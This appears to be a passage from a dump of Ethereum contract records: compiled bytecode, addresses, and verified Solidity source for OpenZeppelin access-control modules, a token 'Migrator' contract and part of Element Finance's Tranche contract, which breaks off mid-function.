60e51b81526004016103b49061183e565b6000610eed611615565b60068101805465ffff00000000191664010000000061ffff8881168202929092179283905560405193945090910416907fb395debbbcfc87c25721e1ddeb8531833f5a1cd353bdfca19575763b331b413990600090a250505050565b600080610f54611615565b546001600160a01b031691505090565b600080610f6f611615565b600401546001600160a01b031691505090565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b158015610ff157600080fd5b505afa158015611005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110299190611754565b6110455760405162461bcd60e51b81526004016103b490611807565b60008361ffff1611801561105f57506127108361ffff1611155b61107b5760405162461bcd60e51b81526004016103b49061183e565b6000611085611615565b60068101805463ffff000019166201000061ffff8881168202929092179283905560405193945090910416907f19ab7a2c11016a3ba41d77f52c73079426acd7b01072508bf07f27bdaf56cc6490600090a250505050565b7fdf8b4c520ffe197c5343c6f5aec59570151ef9a492f2c624fd45ddde6135ec4260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b15801561115e57600080fd5b505afa158015611172573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111969190611754565b6111b25760405162461bcd60e51b81526004016103b490611807565b60008361ffff161180156111cc57506127108361ffff1611155b6111e85760405162461bcd60e51b81526004016103b49061183e565b60006111f2611615565b60068101805467ffff0000000000001916660100000000000061ffff8881168202929092179283905560405193945090910416907fed5308fcfa5e016279c9a67374382dd25a508f62d743cfb63ff09bc20ef2635190600090a250505050565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b1580156112c157600080fd5b505afa1580156112d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f99190611754565b6113155760405162461bcd60e51b81526004016103b490611807565b60008361ffff1611801561132f57506127108361ffff1611155b61134b5760405162461bcd60e51b81526004016103b49061183e565b6000611355611615565b60068101805461ffff191661ffff878116919091179182905560405192935016907f2ea9cba59707a8db63f5dc8e9684d9d7cee0568def29142d897584a089f7383090600090a250505050565b6000806113ad611615565b60040154600160a01b900460ff1692915050565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b15801561143057600080fd5b505afa158015611444573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114689190611754565b6114845760405162461bcd60e51b81526004016103b490611807565b600061148e611615565b6002810180546001600160a01b0319166001600160a01b03878116919091179182905560405192935016907f359cae33a78461ff9adb1a3a34e397cbd69c722029592fa2e3852730a7525b3090600090a250505050565b6000805160206118cc83398151915260006000805160206118ac833981519152600481810154604051632474521560e21b81529182018590523360248301529192506001600160a01b03909116906391d148549060440160206040518083038186803b15801561155457600080fd5b505afa158015611568573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158c9190611754565b6115a85760405162461bcd60e51b81526004016103b490611807565b60006115b2611615565b80546001600160a01b0319166001600160a01b0386169081178255604051919250907f17d0a27a3cabe3561c4d9433b453d102f9e0cbcd170c92875a44d1de53ea8a2590600090a250505050565b60008061160b611615565b6005015491505090565b7fce82ec4b28050b9150763f90e4fe2cb99421cf4fe3c34fc8be5cffb8881c641690565b6001600160e01b03191660009081527fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131f60205260409020805460ff19166001179055565b803560038110610aaa57600080fd5b803561ffff81168114610aaa57600080fd5b6000602082840312156116af578081fd5b81356116ba81611893565b9392505050565b600080600080600080600080610100898b0312156116dd578384fd5b88356116e881611893565b975060208901356116f881611893565b96506040890135955061170d60608a0161168c565b945061171b60808a0161168c565b935061172960a08a0161168c565b925061173760c08a0161168c565b915061174560e08a0161167d565b90509295985092959890939650565b600060208284031215611765578081fd5b815180151581146116ba578182fd5b600060208284031215611785578081fd5b8135600281106116ba578182fd5b6000602082840312156117a4578081fd5b6116ba8261167d565b6000602082840312156117be578081fd5b6116ba8261168c565b6000602082840312156117d8578081fd5b5035919050565b602081016003831061180157634e487b7160e01b600052602160045260246000fd5b91905290565b60208082526018908201527f43616c6c657220646f65736e2774206861766520726f6c650000000000000000604082015260600190565b60208082526035908201527f50657263656e7461676520726570726573656e746174696f6e206d7573742062604082015274065206265747765656e203120616e6420313030303605c1b606082015260800190565b6001600160a01b03811681146118a857600080fd5b5056fec8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131cb24447317fff7289af61dbac275a58b472b8c486d0363b1d4da4f7b7ddbffd6ea2646970667358221220eb4e21ca6f59f3bdebd618eb7b6f4b62aacd2e61a8e26557e8ac657ccd394d7664736f6c63430008020033
[ 24 ]
0xf38bdfadb978b0cc081bcdf82447d0a75d81ef55
// Be name khoda // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: Migrator.sol pragma solidity ^0.8.3; interface IERC20 { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; function transfer(address recipient, uint256 amount) external returns (bool); } contract Migrator is AccessControl { event Migrate(address user, uint256 amount); address public fromCoin; uint256 public ratio; uint256 public scale = 1e18; uint256 public endBlock; constructor (address _fromCoin, uint256 _ratio, uint256 _endBlock) { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); fromCoin = _fromCoin; ratio = _ratio; endBlock = _endBlock; } modifier openMigrate { require(block.number <= endBlock, "Migration is closed"); _; } function setFromCoin(address _fromCoin) external { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin"); fromCoin = _fromCoin; } function setEndBlock(uint256 _endBlock) external { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin"); endBlock = _endBlock; } function setRatio(uint256 _ratio) external { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin"); ratio = _ratio; } function migrateFor(address user, uint256 amount, address toCoin) public openMigrate { IERC20(fromCoin).burn(msg.sender, amount); IERC20(toCoin).mint(user, amount * ratio / scale); Migrate(user, amount * ratio / scale); } function migrate(uint256 amount, address toCoin) external { migrateFor(msg.sender, amount, toCoin); } function withdraw(address to, uint256 amount, address token) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Caller is not an admin"); IERC20(token).transfer(to, amount); } } // Dar panah khoda
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806371ca337d116100a2578063b2237ba311610071578063b2237ba3146102a4578063b8b33f2f146102c0578063c713aa94146102dc578063d547741f146102f8578063f51e181a146103145761010b565b806371ca337d1461021a57806391d14854146102385780639777e6e614610268578063a217fddf146102865761010b565b806336568abe116100de57806336568abe146101aa578063405b84fa146101c657806369328dec146101e2578063714493b5146101fe5761010b565b806301ffc9a714610110578063083c632314610140578063248a9ca31461015e5780632f2ff15d1461018e575b600080fd5b61012a60048036038101906101259190610d42565b610332565b6040516101379190610eff565b60405180910390f35b6101486103ac565b6040516101559190610fd5565b60405180910390f35b61017860048036038101906101739190610cdd565b6103b2565b6040516101859190610f1a565b60405180910390f35b6101a860048036038101906101a39190610d06565b6103d1565b005b6101c460048036038101906101bf9190610d06565b610437565b005b6101e060048036038101906101db9190610d94565b6104ba565b005b6101fc60048036038101906101f79190610c65565b6104c9565b005b61021860048036038101906102139190610c3c565b6105a8565b005b610222610638565b60405161022f9190610fd5565b60405180910390f35b610252600480360381019061024d9190610d06565b61063e565b60405161025f9190610eff565b60405180910390f35b6102706106a8565b60405161027d9190610ebb565b60405180910390f35b61028e6106ce565b60405161029b9190610f1a565b60405180910390f35b6102be60048036038101906102b99190610d6b565b6106d5565b005b6102da60048036038101906102d59190610c65565b61072b565b005b6102f660048036038101906102f19190610d6b565b6108de565b005b610312600480360381019061030d9190610d06565b610934565b005b61031c61099a565b6040516103299190610fd5565b60405180910390f35b60007f7965db0b000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806103a557506103a4826109a0565b5b9050919050565b60045481565b6000806000838152602001908152602001600020600101549050919050565b6103ea6103dd836103b2565b6103e5610a0a565b61063e565b610429576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161042090610f35565b60405180910390fd5b6104338282610a12565b5050565b61043f610a0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146104ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104a390610fb5565b60405180910390fd5b6104b68282610af2565b5050565b6104c533838361072b565b5050565b6104d66000801b3361063e565b610515576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050c90610f95565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401610550929190610ed6565b602060405180830381600087803b15801561056a57600080fd5b505af115801561057e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a29190610cb4565b50505050565b6105b56000801b3361063e565b6105f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105eb90610f95565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000801b81565b6106e26000801b3361063e565b610721576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071890610f95565b60405180910390fd5b8060028190555050565b600454431115610770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076790610f75565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac33846040518363ffffffff1660e01b81526004016107cd929190610ed6565b600060405180830381600087803b1580156107e757600080fd5b505af11580156107fb573d6000803e3d6000fd5b505050508073ffffffffffffffffffffffffffffffffffffffff166340c10f19846003546002548661082d9190611032565b6108379190611001565b6040518363ffffffff1660e01b8152600401610854929190610ed6565b600060405180830381600087803b15801561086e57600080fd5b505af1158015610882573d6000803e3d6000fd5b505050507fa59785389b00cbd19745afbe8d59b28e3161395c6b1e3525861a2b0dede0b90d83600354600254856108b99190611032565b6108c39190611001565b6040516108d1929190610ed6565b60405180910390a1505050565b6108eb6000801b3361063e565b61092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092190610f95565b60405180910390fd5b8060048190555050565b61094d610940836103b2565b610948610a0a565b61063e565b61098c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098390610f55565b60405180910390fd5b6109968282610af2565b5050565b60035481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b610a1c828261063e565b610aee57600160008084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610a93610a0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b610afc828261063e565b15610bcf57600080600084815260200190815260200160002060000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610b74610a0a565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b600081359050610be2816112a7565b92915050565b600081519050610bf7816112be565b92915050565b600081359050610c0c816112d5565b92915050565b600081359050610c21816112ec565b92915050565b600081359050610c3681611303565b92915050565b600060208284031215610c4e57600080fd5b6000610c5c84828501610bd3565b91505092915050565b600080600060608486031215610c7a57600080fd5b6000610c8886828701610bd3565b9350506020610c9986828701610c27565b9250506040610caa86828701610bd3565b9150509250925092565b600060208284031215610cc657600080fd5b6000610cd484828501610be8565b91505092915050565b600060208284031215610cef57600080fd5b6000610cfd84828501610bfd565b91505092915050565b60008060408385031215610d1957600080fd5b6000610d2785828601610bfd565b9250506020610d3885828601610bd3565b9150509250929050565b600060208284031215610d5457600080fd5b6000610d6284828501610c12565b91505092915050565b600060208284031215610d7d57600080fd5b6000610d8b84828501610c27565b91505092915050565b60008060408385031215610da757600080fd5b6000610db585828601610c27565b9250506020610dc685828601610bd3565b9150509250929050565b610dd98161108c565b82525050565b610de88161109e565b82525050565b610df7816110aa565b82525050565b6000610e0a602f83610ff0565b9150610e1582611168565b604082019050919050565b6000610e2d603083610ff0565b9150610e38826111b7565b604082019050919050565b6000610e50601383610ff0565b9150610e5b82611206565b602082019050919050565b6000610e73601683610ff0565b9150610e7e8261122f565b602082019050919050565b6000610e96602f83610ff0565b9150610ea182611258565b604082019050919050565b610eb581611100565b82525050565b6000602082019050610ed06000830184610dd0565b92915050565b6000604082019050610eeb6000830185610dd0565b610ef86020830184610eac565b9392505050565b6000602082019050610f146000830184610ddf565b92915050565b6000602082019050610f2f6000830184610dee565b92915050565b60006020820190508181036000830152610f4e81610dfd565b9050919050565b60006020820190508181036000830152610f6e81610e20565b9050919050565b60006020820190508181036000830152610f8e81610e43565b9050919050565b60006020820190508181036000830152610fae81610e66565b9050919050565b60006020820190508181036000830152610fce81610e89565b9050919050565b6000602082019050610fea6000830184610eac565b92915050565b600082825260208201905092915050565b600061100c82611100565b915061101783611100565b92508261102757611026611139565b5b828204905092915050565b600061103d82611100565b915061104883611100565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156110815761108061110a565b5b828202905092915050565b6000611097826110e0565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60008201527f2061646d696e20746f206772616e740000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60008201527f2061646d696e20746f207265766f6b6500000000000000000000000000000000602082015250565b7f4d6967726174696f6e20697320636c6f73656400000000000000000000000000600082015250565b7f43616c6c6572206973206e6f7420616e2061646d696e00000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b6112b08161108c565b81146112bb57600080fd5b50565b6112c78161109e565b81146112d257600080fd5b50565b6112de816110aa565b81146112e957600080fd5b50565b6112f5816110b4565b811461130057600080fd5b50565b61130c81611100565b811461131757600080fd5b5056fea2646970667358221220cdfb3e6fe01cf6a4c81098fa89914ab645cd3b355e3644f1348c4807644d192764736f6c63430008030033
[ 16 ]
0xf38c3E836Be9cD35072055Ff6a9Ba570e0B70797
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import "./interfaces/IERC20.sol"; import "./interfaces/IWrappedPosition.sol"; import "./interfaces/ITranche.sol"; import "./interfaces/ITrancheFactory.sol"; import "./interfaces/IInterestToken.sol"; import "./libraries/ERC20Permit.sol"; import "./libraries/DateString.sol"; /// @author Element Finance /// @title Tranche contract Tranche is ERC20Permit, ITranche { IInterestToken public immutable override interestToken; IWrappedPosition public immutable position; IERC20 public immutable underlying; uint8 internal immutable _underlyingDecimals; // The outstanding amount of underlying which // can be redeemed from the contract from Principal Tokens // NOTE - we use smaller sizes so that they can be one storage slot uint128 public valueSupplied; // The total supply of interest tokens uint128 public override interestSupply; // The timestamp when tokens can be redeemed. uint256 public immutable unlockTimestamp; // The amount of slippage allowed on the Principal token redemption [0.1 basis points] uint256 internal constant _SLIPPAGE_BP = 1e13; // The speedbump variable records the first timestamp where redemption was attempted to be // performed on a tranche where loss occurred. It blocks redemptions for 48 hours after // it is triggered in order to (1) prevent atomic flash loan price manipulation (2) // give 48 hours to remediate any other loss scenario before allowing withdraws uint256 public speedbump; // Const which is 48 hours in seconds uint256 internal constant _FORTY_EIGHT_HOURS = 172800; // An event to listen for when negative interest withdraw are triggered event SpeedBumpHit(uint256 timestamp); /// @notice Constructs this contract constructor() ERC20Permit("Element Principal Token ", "eP") { // Assume the caller is the Tranche factory. ITrancheFactory trancheFactory = ITrancheFactory(msg.sender); ( address wpAddress, uint256 expiration, IInterestToken interestTokenTemp, // solhint-disable-next-line address unused ) = trancheFactory.getData(); interestToken = interestTokenTemp; IWrappedPosition wpContract = IWrappedPosition(wpAddress); position = wpContract; // Store the immutable time variables unlockTimestamp = expiration; // We use local because immutables are not readable in construction IERC20 localUnderlying = wpContract.token(); underlying = localUnderlying; // We load and store the underlying decimals uint8 localUnderlyingDecimals = localUnderlying.decimals(); _underlyingDecimals = localUnderlyingDecimals; // And set this contract to have the same _setupDecimals(localUnderlyingDecimals); } /// @notice We override the optional extra construction function from ERC20 to change names function _extraConstruction() internal override { // Assume the caller is the Tranche factory and that this is called from constructor // We have to do this double load because of the lack of flexibility in constructor ordering ITrancheFactory trancheFactory = ITrancheFactory(msg.sender); ( address wpAddress, uint256 expiration, // solhint-disable-next-line IInterestToken unused, address dateLib ) = trancheFactory.getData(); string memory strategySymbol = IWrappedPosition(wpAddress).symbol(); // Write the strategySymbol and expiration time to name and symbol // This logic was previously encoded as calling a library "DateString" // in line and directly. However even though this code is only in the constructor // it both made the code of this contract much bigger and made the factory // un deployable. So we needed to use the library as an external contract // but solidity does not have support for address to library conversions // or other support for working directly with libraries in a type safe way. // For that reason we have to use this ugly and non type safe hack to make these // contracts deployable. Since the library is an immutable in the factory // the security profile is quite similar to a standard external linked library. // We load the real storage slots of the symbol and name storage variables uint256 namePtr; uint256 symbolPtr; assembly { namePtr := name.slot symbolPtr := symbol.slot } // We then call the 'encodeAndWriteTimestamp' function on our library contract (bool success1, ) = dateLib.delegatecall( abi.encodeWithSelector( DateString.encodeAndWriteTimestamp.selector, strategySymbol, expiration, namePtr ) ); (bool success2, ) = dateLib.delegatecall( abi.encodeWithSelector( DateString.encodeAndWriteTimestamp.selector, strategySymbol, expiration, symbolPtr ) ); // Assert that both calls succeeded assert(success1 && success2); } /// @notice An aliasing of the getter for valueSupplied to improve ERC20 compatibility /// @return The number of principal tokens which exist. function totalSupply() external view returns (uint256) { return uint256(valueSupplied); } /** @notice Deposit wrapped position tokens and receive interest and Principal ERC20 tokens. If interest has already been accrued by the wrapped position tokens held in this contract, the number of Principal tokens minted is reduced in order to pay for the accrued interest. @param _amount The amount of underlying to deposit @param _destination The address to mint to @return The amount of principal and yield token minted as (pt, yt) */ function deposit(uint256 _amount, address _destination) external override returns (uint256, uint256) { // Transfer the underlying to be wrapped into the position underlying.transferFrom(msg.sender, address(position), _amount); // Now that we have funded the deposit we can call // the prefunded deposit return prefundedDeposit(_destination); } /// @notice This function calls the prefunded deposit method to /// create wrapped position tokens held by the contract. It should /// only be called when a transfer has already been made to /// the wrapped position contract of the underlying /// @param _destination The address to mint to /// @return the amount of principal and yield token minted as (pt, yt) /// @dev WARNING - The call which funds this method MUST be in the same transaction // as the call to this method or you risk loss of funds function prefundedDeposit(address _destination) public override returns (uint256, uint256) { // We check that this it is possible to deposit require(block.timestamp < unlockTimestamp, "expired"); // Since the wrapped position contract holds a balance we use the prefunded deposit method ( uint256 shares, uint256 usedUnderlying, uint256 balanceBefore ) = position.prefundedDeposit(address(this)); // The implied current value of the holding of this contract in underlying // is the balanceBefore*(usedUnderlying/shares) since (usedUnderlying/shares) // is underlying per share and balanceBefore is the balance of this contract // in position tokens before this deposit. uint256 holdingsValue = (balanceBefore * usedUnderlying) / shares; // This formula is inputUnderlying - inputUnderlying*interestPerUnderlying // Accumulated interest has its value in the interest tokens so we have to mint less // principal tokens to account for that. // NOTE - If a pool has more than 100% interest in the period this will revert on underflow // The user cannot discount the principal token enough to pay for the outstanding interest accrued. (uint256 _valueSupplied, uint256 _interestSupply) = ( uint256(valueSupplied), uint256(interestSupply) ); // We block deposits in negative interest rate regimes // The +2 allows for very small rounding errors which occur when // depositing into a tranche which is attached to a wp which has // accrued interest but the tranche has not yet accrued interest // and the first deposit into the tranche is substantially smaller // than following ones. require(_valueSupplied <= holdingsValue + 2, "E:NEG_INT"); uint256 adjustedAmount; // Have to split on the initialization case and negative interest case if (_valueSupplied > 0 && holdingsValue > _valueSupplied) { adjustedAmount = usedUnderlying - ((holdingsValue - _valueSupplied) * usedUnderlying) / _interestSupply; } else { adjustedAmount = usedUnderlying; } // We record the new input of reclaimable underlying (valueSupplied, interestSupply) = ( uint128(_valueSupplied + adjustedAmount), uint128(_interestSupply + usedUnderlying) ); // We mint interest token for each underlying provided interestToken.mint(_destination, usedUnderlying); // We mint principal token discounted by the accumulated interest. _mint(_destination, adjustedAmount); // We return the number of principal token and yield token return (adjustedAmount, usedUnderlying); } /** @notice Burn principal tokens to withdraw underlying tokens. @param _amount The number of tokens to burn. @param _destination The address to send the underlying too @return The number of underlying tokens released @dev This method will return 1 underlying for 1 principal except when interest is negative, in which case the principal tokens is redeemable pro rata for the assets controlled by this vault. Also note: Redemption has the possibility of at most _SLIPPAGE_BP numerical error on each redemption so each principal token may occasionally redeem for less than 1 unit of underlying. Max loss defaults to 0.1 BP ie 0.001% loss */ function withdrawPrincipal(uint256 _amount, address _destination) external override returns (uint256) { // No redemptions before unlock require(block.timestamp >= unlockTimestamp, "E:Not Expired"); // If the speedbump == 0 it's never been hit so we don't need // to change the withdraw rate. uint256 localSpeedbump = speedbump; uint256 withdrawAmount = _amount; uint256 localSupply = uint256(valueSupplied); if (localSpeedbump != 0) { // Load the assets we have in this vault uint256 holdings = position.balanceOfUnderlying(address(this)); // If we check and the interest rate is no longer negative then we // allow normal 1 to 1 withdraws [even if the speedbump was hit less // than 48 hours ago, to prevent possible griefing] if (holdings < localSupply) { // We allow the user to only withdraw their percent of holdings // NOTE - Because of the discounting mechanics this causes account loss // percentages to be slightly perturbed from overall loss. // ie: tokens holders who join when interest has accumulated // will get slightly higher percent loss than those who joined earlier // in the case of loss at the end of the period. Biases are very // small except in extreme cases. withdrawAmount = (_amount * holdings) / localSupply; // If the interest rate is still negative and we are not 48 hours after // speedbump being set we revert require( localSpeedbump + _FORTY_EIGHT_HOURS < block.timestamp, "E:Early" ); } } // Burn from the sender _burn(msg.sender, _amount); // Remove these principal token from the interest calculations for future interest redemptions valueSupplied = uint128(localSupply) - uint128(_amount); // Load the share balance of the vault before withdrawing [gas note - both the smart // contract and share value is warmed so this is actually quite a cheap lookup] uint256 